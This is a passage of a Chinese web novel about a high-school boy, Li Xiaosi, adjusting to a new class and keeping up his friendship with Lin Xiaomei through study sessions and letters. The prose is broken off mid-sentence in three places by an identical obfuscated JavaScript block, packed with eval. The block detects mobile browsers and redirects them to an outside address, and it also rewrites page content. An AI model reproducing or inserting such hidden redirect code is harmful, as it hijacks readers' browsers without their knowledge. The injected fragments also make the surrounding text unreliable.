“曲线运动,就是运动轨迹是曲线的运动。平抛运动、圆周运动,都是曲线运动。”他转过身,看着全班,“你们初中学过直线运动,学过匀速直线运动、匀变速直线运动。曲线运动比直线运动复杂,因为它有两个方向的分量。水平方向一个,竖直方向一个,两个方向互不影响,独立运动。” 他在黑板上画了一个坐标系,标出了x轴和y轴,然后画了一条抛物线,从原点出发,向右上方延伸。 “平抛运动,就是水平抛出,只在重力作用下的运动。水平方向匀速直线,竖直方向自由落体。这两个运动同时发生,互不干扰。你们记住这个,后面就好学了。” 李小四认真地听着,手里的笔不停地记。他发现周老师的讲课风格跟王老师不一样,王老师快,周老师慢。周老师讲得很细,每一步都讲得很清楚,每一个公式都推导一遍,不跳步,不省略。这种讲法适合他,因为他基础不够扎实,跳步就跟不上了。 周老师讲完平抛运动的规律之后,出了一道题,让同学上去做。教室里安静了几秒钟,没有人举手。周老师的目光扫过全班,最后落在李小四身上。 “李小四,你来。” 李小四站起来,走上讲台,拿起粉笔。他看着那道题——一个小球从高处水平抛出,初速度已知,高度已知,求落地时的速度。他先画了一个受力分析图,标出了重力和初速度的方向,然后把运动分解成水平方向和竖直方向,分别计算两个方向的速度,再用勾股定理合成。他一步一步地写,每一步都写得很详细,写完之后退后一步,看着自己的解答。 周老师走过来,看了看黑板,沉默了两秒钟。 “对了。步骤完整,思路清晰。”他看着李小四,嘴角微微动了一下,那个弧度不大,但李小四看得出来,那是满意。 他走回座位的时候,心跳得很快。不是因为紧张,而是一种混杂着兴奋和踏实的感觉。周老师认可他了,在新的班级里,在新的老师面前,他证明了自己不是那种“跟不上”的学生。 课间的时候,李小四站在走廊上,看着操场。雨已经停了,但天还是阴的,云层很低,压在教学楼的顶上,像一床灰色的棉被。操场上有人在跑步,有人在踢球,有人在散步。他看了一会儿,没有看到林小美。 他掏出手机,给她发了一条消息:“你在干嘛?” “在教室。一班在四楼。” “我们班在三楼。” “我知道。” “那你下来?” “下节课间。” 李小四把手机揣进口袋里,靠在栏杆上,看着四楼的窗户。他不知道林小美在哪间教室,不知道她的班主任是谁,不知道她的同桌是男生还是女生。这些他不知道的事情,让他觉得他们之间的距离变远了。不是距离上的远,是生活轨迹上的远——他们不再坐在同一间教室里了,不再听同一个老师讲课了,不再有那些课间的、不经意的、不用刻意安排就能见面的瞬间了。 第四节课间,林小美下来了。 她穿着一件白色的卫衣,头发扎成高马尾,手里拿着一本数学课本。她走下楼的时候,步子不快不慢,跟以前一样。她看到李小四,微微点了点头,算是打了招呼。 “新班级怎么样?”她问。 “还行。班主任姓周,教物理的,讲课挺细的。” “一班班主任姓张,教数学的,讲课也细。”林小美顿了顿,“但我不太习惯。以前在四班,大家都认识,现在换了新同学,谁也不认识谁。” 李小四理解这种感觉。他也是。坐在新教室里,周围的人都是陌生的,你不知道他们的名字,不知道他们的性格,不知道他们说话的方式。你要重新认识每一个人,重新建立每一条关系,重新找到自己的位置。这个过程很慢,也很累。 “慢慢就认识了。”李小四说。 “嗯,慢慢就认识了。”林小美重复了一遍,像是在说服自己。 上课铃响了。林小美看了他一眼,说了一句“我上去了”,然后转身走了。她的背影在楼梯拐角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444082|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处消失了,脚步声也消失了,只剩下走廊上空荡荡的风。 李小四回到教室,坐在座位上,翻开物理课本,继续看平抛运动的公式。他看着那些公式,脑子里却在想着别的事。他想,分班这件事,不只是把学生分成文科理科、重点普通,还把一些人的距离拉远了。不是故意的,是自然发生的。就像两条河,从同一个源头流出来,遇到分岔口,一条往东,一条往西,越流越远,最后汇入不同的海。 他不想要这种“越流越远”。但他不知道该怎么阻止。 下午最后一节是自习课。周老师不在,教室里有些吵。有人在聊天,有人在玩手机,有人在趴着睡觉。李小四在做数学作业,做到一道关于三角函数的题,卡住了。他习惯性地转过头,想问问林小美,但旁边坐的不是林小美,是一个他不认识的男生,戴着黑框眼镜,正在看物理竞赛书。 他愣了一下,把到嘴边的话咽了回去。 他低下头,自己琢磨那道题。他画了一个单位圆,标出了正弦和余弦的值,用诱导公式化简了一下,又用同角三角函数的基本关系式推导了一遍,终于算出了答案。他放下笔,长长地呼出一口气。他做出来了,靠自己。 这种感觉很好。不是“有人帮我”的好,是“我自己可以”的好。 放学的时候,李小四在校门口等林小美。她出来得晚了一些,被班主任叫住说了几句话。走出校门的时候,她的表情比平时多了一点什么,像是疲惫,又像是压力。 “你们班主任找你干嘛?”李小四问。 “问我愿不愿意当班长。” “你答应了吗?” “答应了。” “你又当班长。”李小四笑了,“初中就是班长,高中还是班长。” “当班长可以加学分。”林小美说,语气很平淡,好像在说一件很实际的事情。 李小四知道她不是为了加学分。她当班长,是因为她认真,负责,愿意做事。这些品质不是加学分能衡量的,也不是写在档案里的那些字能概括的。它们是她的本能,是她做事的方式。 他们一起走出校门,一个往左,一个往右。路灯已经亮了,橘黄色的光洒在湿漉漉的路面上,把两个人的影子拉得很长。李小四骑上电动车,看着林小美骑上那辆天蓝色的自行车,她的背影在路灯下越来越小,最后消失在街道的拐角处。 他拧了一下油门,往家的方向开。夜风吹在脸上,凉飕飕的,但他的心里是暖的。不是因为他们还在同一个学校,不是因为他们还能一起吃饭,而是因为他们还在一起走。虽然不在同一间教室了,虽然不能每节课都见了,但他们还在彼此的生活里,没有走远。 到家的时候,妈妈已经把饭菜端上桌了。爸爸今天加班,还没回来,只有他们两个人吃饭。妈妈坐在对面,看着他吃,自己不怎么动筷子。 “新班级怎么样?”妈妈问。 “还行。换了新老师,换了新同学。” “习惯吗?” “慢慢就习惯了。” 妈妈点了点头,没有继续问。她给他夹了一块排骨,说“多吃点”。李小四低头吃饭,吃得很慢,每一口都嚼很久。他在想今天的事,想周老师的课,想那道自己做出来的数学题,想林小美说的“慢慢就认识了”。 这些事不大,但每一件都在告诉他:你在适应,你在往前走。 吃完饭,他帮妈妈洗了碗,回到房间,坐在书桌前。他翻开笔记本,在最后一页写下了今天的日期,然后在下面写了一行字:“分班第一天。我在四班,林小美在一班。不在一起上课了,但还在一起。” 写完之后,他合上笔记本,放进抽屉里。 他站起来,走到窗前,拉开窗帘。窗外的月亮不是很圆,缺了一小块,像一个被人咬了一口的饼。月光透过云层的缝隙洒下来,在地面上画出一片淡淡的白。 他看着那月亮,觉得它跟以前不一样了。不是月亮变了,是他看月亮的角度变了。他站在不同的地方,看同一轮月亮,看到的是不同的样子。 生活也是这样。人还是那些人,但位置变了,关系就变了。不是变坏了,是变成了另一种样子。那种样子需要时间去适应,去理解,去接受。 他有时间。 33. 不同轨道 分班之后的第一周,李小四过得有些恍惚。 不是难过,是一种说不清的失重感。以前他走进教室,第一眼看的永远是林小美的座位——她到了没有,她在干什么,她今天穿了什么颜色的衣服。现在那个座位不在了,她的教室在楼上,他看不到她,也看不到她的空座位。他每天早上走进教室,习惯性地往那个方向看一眼,然后才想起来,她已经不在这里了。 这种习惯持续了好几天才慢慢淡下去。不是忘了,是身体比脑子先适应了。脑子还在想“她在哪”,身体已经走到自己的座位上坐下了。脑子还在想“要不要去找她”,手已经翻开课本开始预习了。身体比脑子诚实,也比脑子听话。 第一周的物理课,周老师讲了平抛运动的规律。李小四听得很认真,笔记记得很详细,课后作业也做得不差。但有一道题他做错了——题目问的是平抛运动在空中运动的时间由什么决定,他选了“由水平初速度决定”,但正确答案是“由下落高度决定”。他把答案改过来,在错题本上写了一句批注:“时间由高度决定,跟水平速度无关。记住。” 他把错题本拿给周老师看,周老师看了一眼,说了一句“对了”,没有多的话。周老师跟马老师不一样,马老师会多说几句,会说“你这次进步很大”或者“这个思路很清晰”。周老师不说这些,他对就是对,错就是错,对了就过了,错了就改,改了就行了。这种风格让李小四觉得踏实,不需要猜测老师对自己的评价,只需要关注自己对知识的掌握。 数学课讲三角函数的图像和性质。王老师还是那样,讲得快,板书漂亮,粉笔字像书法作品。正弦曲线、余弦曲线、正切曲线,他在黑板上画得又快又好,曲线平滑,振幅准确,周期清楚。李小四看着那些曲线,觉得它们像波浪,像心跳,像一首没有声音的歌。他在笔记本上画了三遍,才画出跟王老师差不多的曲线。 英语课换了新老师。以前的陈老师调走了,换了一个姓吴的男老师,三十出头,戴着一副无框眼镜,说话的时候喜欢用英文穿插,一句中文一句英文,听得李小四头大。他的英语本来就不好,中文夹英文对他来说就是双重打击——中文没听全,英文没听懂。他硬着头皮听着,在笔记本上记下那些他听得懂的片段,课后去问林小美。 林小美在一班,教室在四楼。李小四每次去找她都要爬一层楼,走到四班教室门口,探着头往里看。一班的学生他不认识,他们看他的眼神也有些好奇——这个从楼下来的男生,找谁? “林小美,有人找。” 林小美从座位上站起来,走到门口。她看到李小四,表情没有什么变化,但她的步子快了一些,从座位到门口,比平时少用了两秒钟。 “怎么了?”她问。 “英语没听懂。吴老师讲课中英文混着来,我跟不上。” 林小美接过他的笔记本,看了看他记的那些片段,皱了一下眉头。“他讲的是定语从句的复习,关系副词where、when、why的用法。你初中学过,高一上学期也讲过,你忘了?” “没忘,就是混了。什么时候用where,什么时候用which,分不清。” 林小美在走廊上给他讲了五分钟。她用最简单的语言解释了where和which的区别——where前面是地点,which前面是物。她举了三个例子,每一个都让他自己分析。他分析对了两个,错了一个,她把错的那个重新讲了一遍,他又做对了。 “懂了?”她问。 “懂了。” “那你回去把课本上的例句再看一遍,巩固一下。” “好。” 李小四把笔记本装进书包里,转身要走。林小美叫住了他。 “李小四。” 他回过头。 “以后英语课听不懂,你就来问我。别攒着,攒多了就补不回来了。” “知道了。” 他走下楼梯的时候,步子很轻。不是因为问题解决了,而是因为林小美说的那句话——“别攒着,攒多了就补不回来了。”她还在帮他,跟以前一样。虽然不在一间教室了,虽然不能随时问了,但她还在。这一点让他觉得安心。 周五下午,体育课。四班的体育课跟一班同时段,都在操场上。李小四到操场的时候,看到一班的学生已经在跑道上了,正在做热身运动。他在人群中看到了林小美,她穿着一件白色的T恤和黑色的运动裤,头发扎成高马尾,正在压腿。她的动作很标准,腰背挺直,腿伸得很直,跟旁边的女生比起来,她做得最认真。 刘洋从后面拍了他一下:“看什么呢?” “没看什么。” “没看什么你看那么久?”刘洋顺着他的目光看过去,笑了,“林小美啊?人家在一班,你在四班,隔着一个操场呢。” “操场又不远。” “不远是不远,但也不是以前了。”刘洋说这话的时候,语气不是嘲讽,而是一种带着叹息的、像是在说一个事实的东西。 李小四没有接话。他走到跑道边,开始做热身运动。他压腿的时候,偷偷看了一眼林小美那边,她已经开始跑步了,步子不大,速度不快,但很稳,一圈一圈地在跑道上绕。他从起跑线出发,跟上了她,跑在她后面,隔着三四米的距离。 两个人没有说话,只是跑。脚步声叠在一起,呼吸声叠在一起,跑道在脚下延伸,一圈,两圈,三圈。跑完第四圈的时候,林小美放慢了速度,停了下来,撑着膝盖喘气。李小四也停了,站在她旁边,也喘着气。 “你也跑步?”林小美问。 “体育课,不跑干嘛?” 林小美看了他一眼,嘴角弯了一下,那个弧度很小,但李小四看到了。 “你跑得比以前快了。”她说。 “你也是。” 两个人站在跑道边,看着操场上其他人跑步。风从远处吹来,带着初春的气息——不是花香,不是草香,而是一种说不清的、淡淡的、像是泥土解冻了的味道。冬天快要过去了,春天还没来,但已经在路上了。 “林小美,你在重点班累不累?”李小四问。 “累。”林小美说,“作业比你们多,进度比你们快,老师要求也比你们高。” “那你后悔选理科吗?” 林小美看了他一眼,眼神里有种“你在说什么”的意味。“不后悔。累也要学,喜欢的事,累也不觉得累。” 李小四想起沈老师说的那句话——“喜欢的东西,你会愿意为它吃苦。”林小美就是这句话的活例子。她选了自己喜欢的,所以累也不觉得累。他选了理科,也是因为喜欢。他喜欢数学和物理,喜欢那种用公式和定理去描述世界的感觉。这种感觉不会因为分班而改变,不会因为不在同一间教室而消失。 “我也是。”他说,“累也不觉得累。” 体育课结束后,李小四去食堂吃饭。他端着餐盘找位置,在角落里看到了陈屿白。陈屿白一个人坐在那里,面前是一份白米饭和一份炒土豆丝,没有肉,没有汤,只有饭和菜。他还是穿着那件黑色的卫衣,帽子扣在头上,遮住了大半张脸。他用筷子夹起土豆丝,慢慢地嚼,嚼了很久才咽下去。 李小四走过去,在他对面坐下。 陈屿白抬起头,看了他一眼,没有说话。 “你怎么一个人?”李小四问。 “习惯了。”陈屿白说。 “你在几班?” “五班。理科普通班。” “那离我们班不远。” 陈屿白没有接话,低下头继续吃饭。李小四也没有再说话,低头吃自己的饭。两个人沉默地吃着,只有筷子碰到餐盘的声音和咀嚼的声音。这种沉默不尴尬,因为陈屿白跟谁在一起都是沉默的。他的沉默不是冷漠,是一种习惯,一种独处太久之后长在身体里的东西。 吃到一半的时候,陈屿白忽然开口了:“李小四,你物理月考考了多少?” “还没月考。上学期期末考了八十二。你呢?” “八十五。” “那你比我强。” “强不了多少。”陈屿白夹起最后一块土豆丝,放进嘴里,“物理好难。” 这是他第二次说“物理好难”。上一次是在操场边的草地上,他说这句话的时候,语气里有一种真实的、不加掩饰的困难。这次也是一样,他没有抱怨,没有诉苦,只是陈述一个事实。物理好难,难也要学。这就是陈屿白,话不多,但每一句都是真的。 “下次月考,我们比一比。”李小四说。 陈屿白看了他一眼,嘴角动了一下。那个弧度不大,但李小四看得出来,那是笑。 “行。”他说。 开学第二周,李小四收到了一封信。 是大壮寄来的。信封是白色的,左上角贴着一张邮票,邮票上印着一只丹顶鹤。信封上用蓝色圆珠笔写着“李小四收”,字迹比以前工整了一些,但还是歪歪扭扭的,有些笔画写错了,用笔涂了又改。李小四拆开信封,里面有两张纸,一张是信,另一张是一张照片。照片上是大壮,站在一个车间里,穿着蓝色的工装,手里拿着一个工具箱,对着镜头咧嘴笑。他的身后是一排排的机器和货架,光线不太好,但他的脸很亮,笑容很亮。 “小四,你好吗?我到天津了。过年那几天太短了,好像还没开始就结束了。我妈送我上车的时候哭了,我说妈你别哭,我五一就回来。她说五一还早呢,我说不早,一眨眼就到了。” “电工证拿了之后,厂里给我涨了工资,一个月多了八百块。我现在不干普工了,跟着师傅做维修,哪里机器坏了我们就去修。刚开始不太会,师傅骂了我好几次,现在好多了,一般的故障能自己判断了。” “我爸一个人在天津值班,过年没回来。我去看他的时候,他正在门卫室吃泡面。我说爸你怎么吃泡面,他说一个人懒得做饭。我心里难受,但我没说。我给他煮了一碗面,放了两个鸡蛋,他吃完了,说好吃。” “小四,你说我们什么时候才能不让父母吃苦?我不知道,但我想快点。我学电工,攒钱,开店。等我开了店,我爸就不用看大门了,我妈就不用去厂里了。我想让他们过好日子。” “你好好学习,别分心。高中三年很快就过去了,等你考上大学,我送你一个礼物。” “你的兄弟,王大壮。” 李小四把这封信看了三遍。第一遍看得很快,心跳得很快,像是大壮站在他面前跟他说话。第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444083|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍看得很慢,一个字一个字地看,看到“我爸一个人在门卫室吃泡面”的时候,鼻子酸了。第三遍他看到最后一句“等你考上大学,我送你一个礼物”,眼泪掉了下来,砸在信纸上,把“礼物”两个字洇开了一小片。 他用袖子擦了擦眼睛,把信折好,放进抽屉里,跟那些旧的练习册和试卷放在一起。他坐在书桌前,发了好一会儿呆。他在想大壮说的那句话——“我们什么时候才能不让父母吃苦?”他不知道答案,但他知道,大壮已经在做了。大壮在用他的方式,一步一步地走向那个目标。他也在做,用他的方式。他们的方式不同,但方向是一样的。 他拿起笔,给大壮写回信。他写了很多,写了分班的事,写了林小美在一班他在四班,写了新班主任周老师,写了陈屿白说要跟他比物理。他写了四页纸,写到第三页的时候,笔没墨了,他换了一支笔继续写。写到最后,他加了一句话:“大壮,你爸吃泡面的事,你不要再想了。你给他煮了面,放了两个鸡蛋,他吃了,觉得好吃。这就够了。你已经做得很好了。” 他把信装进信封,贴上邮票,打算明天去寄。 周末,李小四去了奶茶店。 不是跟林小美约好的,是他自己去的。他想找个安静的地方写作业,家里也行,但妈妈在打扫卫生,吸尘器的声音嗡嗡的,他静不下心来。奶茶店里人不多,只有两三桌客人,都在低头看手机或写作业。他点了杯柠檬水,坐在靠窗的位置,翻开物理课本,开始预习圆周运动。 圆周运动比平抛运动复杂,因为它涉及到向心力、向心加速度、角速度、线速度这些新概念。他看了一遍定义,似懂非懂。又看了一遍例题,还是不太明白。他把课本合上,闭上眼睛,在脑子里把那些概念过了一遍。线速度是弧长除以时间,角速度是角度除以时间,向心加速度是速度平方除以半径。这些公式他能背出来,但不知道它们是怎么来的,也不知道在什么情况下用。 他正想得头疼的时候,对面坐下了一个人。 他抬起头,是林小美。 “你怎么在这儿?”他问。 “路过,看到你的电动车停在门口。”林小美放下书包,从包里拿出一本书,是一本物理竞赛题集,“你在干嘛?” “预习圆周运动。看不懂。” 林小美把竞赛题集放在一边,拿过他的课本,翻到圆周运动那一节,看了一会儿,然后拿起笔,在草稿纸上画了一个圆,标出了圆心、半径、弧长、角度。 “你看,一个物体做圆周运动,它走的路程是弧长,弧长除以时间就是线速度。它转过的角度除以时间就是角速度。线速度和角速度的关系是v=ωr。”她在公式旁边画了一个箭头,指向圆心,“向心加速度的方向指向圆心,大小是v?/r或者ω?r。” 她讲得很慢,每一个概念都解释得很清楚,每一个公式都推导了一遍。李小四跟着她的思路,一步一步地走,走到最后,那些概念和公式不再是孤立的碎片了,而是一张互相连接的网。他知道它们从哪里来,要到哪里去,在什么情况下用哪一个。 “懂了?”林小美问。 “懂了。你讲得比周老师清楚。” “周老师讲得比我好,是你听我的更习惯。”林小美把课本还给他,“你是因为听我讲习惯了,所以觉得我讲得清楚。就像你听惯了妈妈的说话声,别人说同样的话,你觉得不一样。” 李小四想了想,觉得她说的有道理。习惯是一种很强大的力量,它让人舒服,也让人依赖。他对林小美的讲解方式产生了依赖,这不是坏事,但他也需要学会从不同的老师那里吸收知识,因为高中三年,他不可能只听林小美一个人讲。 “林小美,你以后当老师了,一定很厉害。”他说。 林小美低下头,翻开了物理竞赛题集,没有说话,但她的耳朵红了,红得很明显,连头发都遮不住。 他们在奶茶店待了两个多小时。李小四预习完了圆周运动,又做了一套英语阅读理解。林小美做了十几道物理竞赛题,每一道都在草稿纸上写满了推导过程。两个人各做各的,偶尔交流一下,大部分时间都是安静的。那种安静不是尴尬的安静,而是舒适的、自在的、不需要用语言去填充的安静。 走的时候,天已经快黑了。李小四把柠檬水喝完,把杯子扔进垃圾桶,背上书包。林小美也收拾好了东西,站起来。 “下周还来吗?”她问。 “来。” “那下周见。” “下周见。” 他们走出奶茶店,一个往左,一个往右。路灯已经亮了,橘黄色的光洒在路面上,把两个人的影子拉得很长。李小四骑上电动车,看着林小美骑上那辆天蓝色的自行车。她的背影在路灯下越来越小,最后消失在街道的拐角处。 他拧了一下油门,往家的方向开。夜风吹在脸上,凉飕飕的,但他的心里是暖的。不是因为今天把圆周运动搞懂了,而是因为林小美还在。不在一间教室了,不在同一层楼了,但她还在他的生活里。她路过奶茶店,看到他的电动车,就进来了。她没有说“我特意来找你”,她说“路过”。但路过也是选择,路过也是她愿意停下来,走进来,坐在他对面。 这就够了。 34. 百花筒 分班之后的第三周,李小四开始习惯新班级了。 这种习惯不是突然发生的,是慢慢渗进去的,像水渗进沙子里,一开始看不出来,但时间久了,沙子就湿了。他记住了全班大部分人的名字,知道谁数学好谁物理好,知道谁爱说话谁爱睡觉,知道谁在食堂吃饭的时候会把不喜欢吃的菜挑出来放在饭盒盖上——这个动作让他想起林小美,但他没有跟那个人说过话。 他也有了新的同桌。那个戴黑框眼镜、看物理竞赛书的男生叫许哲,话不多,但比陈屿白好一些——至少你问他问题他会回答,虽然回答通常只有几个字。“这题怎么做?”“用动能定理。”“为什么?”“因为有力做功。”简洁,准确,没有多余的字。李小四一开始觉得他有点冷,后来发现他不是冷,是省。他省话,省表情,省动作,把所有的能量都省下来用在物理上。他的物理成绩是全班最好的,周老师上课问的问题,他大部分都能答上来,有时候甚至不等老师点名,自己就说了。 李小四不太习惯这种主动。他习惯了被点名才回答,习惯了躲在人群里不被注意。但许哲的方式让他开始想一个问题——是不是太被动也是一种问题?他总是等,等老师叫他,等林小美给他讲,等机会自己找上门来。许哲不等,他伸手去拿。 也许他应该学学许哲。 周四下午,物理课。周老师讲圆周运动的向心力,在黑板上画了一个圆锥摆,绳子拉着一个小球在水平面内做匀速圆周运动。他问:“这个小球受到几个力?” 教室里安静了几秒钟。李小四在脑子里分析了一下——重力,竖直向下;绳子的拉力,沿绳子方向斜向上。两个力。它们的合力提供向心力,水平指向圆心。他正要开口,旁边的许哲已经说了:“两个力。重力和拉力。” 周老师看了许哲一眼,点了点头,没有多说什么,继续往下讲。李小四坐在旁边,心里有一种说不清的感觉。不是嫉妒,不是不服气,而是一种“我也知道答案但为什么我没说”的懊恼。他知道答案,他知道自己知道,但他没有说出来。他习惯了把答案藏在心里,等别人说出来之后再点头。这种方式安全,不犯错,但也永远不会被看到。 他想被看到吗?他以前觉得不想。他喜欢躲在角落里,不被任何人注意。但现在,他忽然不确定了。也许他不是不想被看到,而是害怕被看到之后的表现不够好。害怕被期待,害怕被评判,害怕让人失望。躲在暗处就没有这些害怕,但也失去了在光里的机会。 下课后,他叫住了许哲。 “许哲,你物理怎么学的?” 许哲停下脚步,转过身看着他,推了推眼镜。“看书,做题,想。” “就这些?” “就这些。”许哲说,“物理不是背的,是想出来的。你想通了,就是你的了。想不通,背再多也没用。” 李小四把这句话记在了心里。“想通了,就是你的了。”他想,他学物理的方式一直是“记住”——记住公式,记住题型,记住步骤。但他很少“想”,很少去想那些公式是怎么来的,那些题型为什么要用那种解法,那些步骤背后的逻辑是什么。他只是在重复,不是在理解。重复可以应付考试,但不能应付真正的理解。 他决定从今天开始,多“想”。 周五,李小四收到了大壮的回信。 信不长,只有一页纸,字迹比以前更工整了一些,但还是能看出写得很用力,有些笔画都印到了纸的背面。 “小四,你说得对,我给我爸煮了面,他吃了,觉得好吃,这就够了。我不想了,想多了也没用,不如多学点东西,早点把店开起来。” “我最近在学空调维修,师傅说夏天的时候空调坏的多,学会了夏天能赚不少钱。我白天上班,晚上学空调,周末也学,累是累,但想到以后能开店,就不觉得累了。” “你好好学习,别分心。高中三年很快的,一眨眼就过去了。等你考上大学,我送你一个礼物。我不告诉你是啥,到时候你就知道了。” “你的兄弟,王大壮。” 李小四把信折好,放进抽屉里。他的抽屉里已经有很多信了,大壮寄来的,每一封他都留着,按时间顺序排好,用橡皮筋捆着。他想,等以后老了,把这些信拿出来看,一定会哭的。不是因为难过,是因为那些信里装着的,是两个少年在不同城市、不同道路上,互相鼓励、互相支撑的时光。 周末,李小四又去了奶茶店。 这次他没有提前跟林小美说,但他到的时候,林小美已经在了。她坐在靠窗的位置,面前摊着物理竞赛题集和草稿纸,正在做题。她做得很专注,眉头微皱,笔尖在纸上飞快地移动,草稿纸上写满了公式和数字。他走过去,在她对面坐下,她没有抬头,只说了一句“来了”,然后继续做题。 他点了一杯柠檬水,放在桌上,然后拿出数学课本,开始预习下一章的内容。平面向量,一个新的章节,跟以前学的几何和代数都不太一样。向量既有大小又有方向,可以用坐标表示,也可以用在几何中。他看了一遍定义,觉得不算难,就是有方向的数。但看到向量的加减法时,他有点糊涂了——三角形法则和平行四边形法则,什么时候用哪个,怎么区分。 “林小美,向量的加法,三角形法则和平行四边形法则有什么区别?” 林小美抬起头,看了一眼他课本上的图,想了一下,说:“没有区别。两个法则本质是一样的,只是画法不同。你记住一个就行了。” “那你用哪个?” “三角形法则。简单。” 李小四在笔记本上写下了“三角形法则”四个字,在旁边画了一个三角形,标出了向量和的方向。他看了几遍,觉得确实不难,就是把两个向量首尾相接,然后从第一个向量的起点指向第二个向量的终点。 “懂了。”他说。 “那你做一道题给我看。” 林小美在草稿纸上写了一道向量加法的题,推过来。李小四做了一下,用三角形法则,画了一个三角形,算出了和向量的坐标。林小美看了一眼,点了点头:“对了。” 他们在奶茶店待了一整个下午。李小四预习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444084|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完了平面向量,又做了一套英语阅读理解,还背了二十个新单词。林小美做完了整章的物理竞赛题,又在看一本叫《费恩曼物理学讲义》的书,封面是一张黑白照片,一个老头在讲台上,手里拿着一个铃铛,表情很生动。 “那是什么书?”李小四问。 “物理学的经典教材,费恩曼写的。他在加州理工给大一学生上课,讲稿整理成了这本书。”林小美把书翻过来给他看封底,“写得很好,不像教科书那么枯燥,像讲故事。” “你从哪借的?” “图书馆。只有上册,中册和下册被人借走了。” 李小四记下了书名,打算以后也去借。他喜欢林小美推荐的书,因为她推荐的东西从来没有让他失望过。 傍晚的时候,他们从奶茶店出来。天边的云被夕阳染成了橘红色,整条街道都笼罩在一片温暖的光里。春天的傍晚比冬天长,太阳落下去之后,天还亮了很久,那种亮不是白天的亮,而是一种柔和的、渐变的、像水彩画一样的亮。 “林小美,你以后想考哪个大学?”李小四问。 “省师范大学。”林小美说,“离家近,可以照顾奶奶。” “你不想去更好的大学吗?你的成绩,可以去更好的。” 林小美沉默了一会儿,看着天边的云,好像在思考怎么回答这个问题。“更好的大学当然想去,但奶奶一个人在家,我不放心。她年纪大了,腿不好,万一摔了怎么办?我不在她身边,谁照顾她?” 李小四没有说话。他知道林小美的选择是对的,对她来说,奶奶比任何大学都重要。这不是牺牲,是她自己选的路。她选了这条路,就不会后悔,因为她知道自己在做什么,也知道为什么这么做。 “那你呢?”林小美问,“你想考哪个大学?” 李小四想了想。他以前没有认真想过这个问题,总觉得大学还远,到时候再说。但现在他想了,因为他想当老师,当数学或者物理老师。想当老师,就要考师范大学。省师范大学是最好的选择,离家近,学费不高,毕业以后在县城好找工作。 “也许跟你一样,省师范大学。”他说。 林小美看了他一眼,嘴角弯了一下。“那以后可能是同学。” “可能。” 两个人站在奶茶店门口,谁都没有说话。风吹过来,带着春天特有的那种温润的气息,不冷也不热,刚刚好。路灯亮了,橘黄色的光洒在他们身上,把两个人的影子投在地上,挨得很近,像是靠在一起。 “走吧,”林小美说,“该回家了。” “嗯。” 他们各自骑上车,一个往左,一个往右。李小四骑出去一段路,回过头看了一眼,林小美的背影在路灯下越来越小,天蓝色的自行车,白色的卫衣,高马尾,在春风里轻轻晃动着。 他想,以后的事,谁说得准呢。也许真的会成为同学,也许不会。不管怎样,他们都在各自的轨道上往前走。他的轨道和她的轨道有时候靠近,有时候远离,但从来没有断开过。 这就够了。 35. 春天来临 三月的风从操场那边吹过来,带着青草刚割过的气味和远处油菜花的甜香。教室的窗户终于可以一直开着了,不像冬天那样开一会儿就有人喊冷。李小四坐在靠窗的位置,阳光照在他的课本上,把白色的纸页照得发亮。他眯着眼睛看了一眼窗外,天很蓝,云很白,操场上有初一的学生在上体育课,跑啊跳啊笑啊,无忧无虑的样子。他想起两年前的自己,也是这样在操场上疯跑,不知道高中是什么,不知道大学是什么,不知道未来是什么。 现在他知道了。或者说,他正在知道。 三月中旬,学校举行了高一下学期的第一次月考。这是分班之后的第一次大考,每个人都憋着一股劲——重点班的人想证明自己配得上重点班,普通班的人想证明自己不比重点班差。李小四也想证明一些什么,但他说不清楚自己想证明什么。也许是想证明给周老师看,也许是想证明给林小美看,也许只是想证明给自己看。 考试考了两天,九门课,跟上学期一样。但这一次,李小四的感觉不一样了。他不再像以前那样紧张,不再在考场上手心出汗、心跳加速。他坐在考场里,拿到试卷,从头到尾看一遍,然后一道一道地做,会的做,不会的先跳过,做完之后再回头想。考试结束铃响的时候,他放下笔,把试卷翻过来看了一眼,卷面上写满了字,密密麻麻的。他不知道能考多少分,但他知道,他已经做了自己能做的所有事。 成绩出来那天是个周四。周老师把成绩单贴在了公告栏上,李小四挤过去,找到自己的名字。班级第十三名,总分比上学期期末高了十几分。物理八十六,数学九十一,英语八十一——英语第一次突破了八十分。他盯着那个“八十一”看了好一会儿,想起上学期林小美说的“你英语能提高十分”,那时候他还不信,现在他信了。 他掏出手机,给林小美发了一条消息:“我英语八十一。” 过了几分钟,林小美回:“我说过你能提高十分。” “你多少?” “九十六。” “你又是第一?” “嗯。” 